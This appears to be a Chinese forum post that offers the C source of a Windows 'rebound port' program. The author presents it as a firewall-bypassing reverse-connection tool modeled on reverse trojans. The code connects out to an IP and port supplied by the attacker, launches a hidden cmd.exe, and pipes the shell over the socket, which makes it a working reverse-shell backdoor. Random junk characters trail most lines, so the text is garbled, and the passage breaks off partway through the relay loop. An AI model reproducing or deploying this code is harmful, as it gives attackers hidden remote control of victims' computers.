这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jfk`%CEk=
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/* ==============================
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Rebound port in Windows NT
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By wind,2006/7 m+zzhv1
===============================*/ kA fkQy(~
#include 4\>Cnc{
#include sk9*3d5I
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#pragma comment(lib,"wsock32.lib") ;8H
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void OutputShell(); 5Osx__6 $t
SOCKET sClient; :2}zovsdj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %+qD-{&
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void main(int argc,char **argv) }! x\qpA
{ (]1n!
WSADATA stWsaData; p1q"[)WVn^
int nRet; fM6Pw6k
SOCKADDR_IN stSaiClient,stSaiServer; $)mK]57
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if(argc != 3) voEg[Gg4%I
{ :>] =YE
printf("Useage:\n\rRebound DestIP DestPort\n"); /{6PwlP5
return; WL:CBE#
} j@
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WSAStartup(MAKEWORD(2,2),&stWsaData); l~.ae,|7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E9i
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stSaiClient.sin_family = AF_INET; ]yy10Pk[!
stSaiClient.sin_port = htons(0); u1R_u9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9Ra*bP ]1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @m[q0G}
{ O`<id+rx
printf("Bind Socket Failed!\n"); F
jsnFX;
return; |uf{:U)
} ',$Uw|N
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stSaiServer.sin_family = AF_INET; 78T9"CS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p=sLKnLmZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |*W_
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}
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z><uYO$
{ 'RZ=A+% X
printf("Connect Error!"); 8`~M$5!
return; 4LO4SYW7
} 'Km
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OutputShell(); 7/C,<$Ep
} ~QzUQYG*
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void OutputShell() DO6Tz-%o
{ @/jLN
char szBuff[1024]; YD>5zV%!D
SECURITY_ATTRIBUTES stSecurityAttributes; =)QtE|p,77
OSVERSIONINFO stOsversionInfo; tjLp;%6e
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c$fi3O
STARTUPINFO stStartupInfo; PY.4J4nn|
char *szShell; dAg<BK/
PROCESS_INFORMATION stProcessInformation; !A_<(M<
unsigned long lBytesRead; 9)2kjBeb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F3uR:)4<M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,zXP,(x
stSecurityAttributes.lpSecurityDescriptor = 0; Tx)!qpZ
stSecurityAttributes.bInheritHandle = TRUE; f[r?J/;P9
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}enS'Fpf`
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1=o|[7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ayGYVYi
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0 $Ygt0d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WxE^S ??|
stStartupInfo.wShowWindow = SW_HIDE; 3jeB\
stStartupInfo.hStdInput = hReadPipe; sWtT"7>x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J]h$4"
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GetVersionEx(&stOsversionInfo); '>"riEk
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switch(stOsversionInfo.dwPlatformId) 8VWkUsOoI
{ xJcM1>cT>
case 1: <t~RGn3
szShell = "command.com"; E8gbm&x*
break;
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default: lhk=yVG3
szShell = "cmd.exe"; --D&a;CO}
break; S`w_q=-^8
} OCX>LK!K
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \jR('5DcB
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send(sClient,szMsg,77,0); JXhHitUD
while(1) n "J+?~9
{ &gv{LJd5b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ezz;NH
if(lBytesRead) <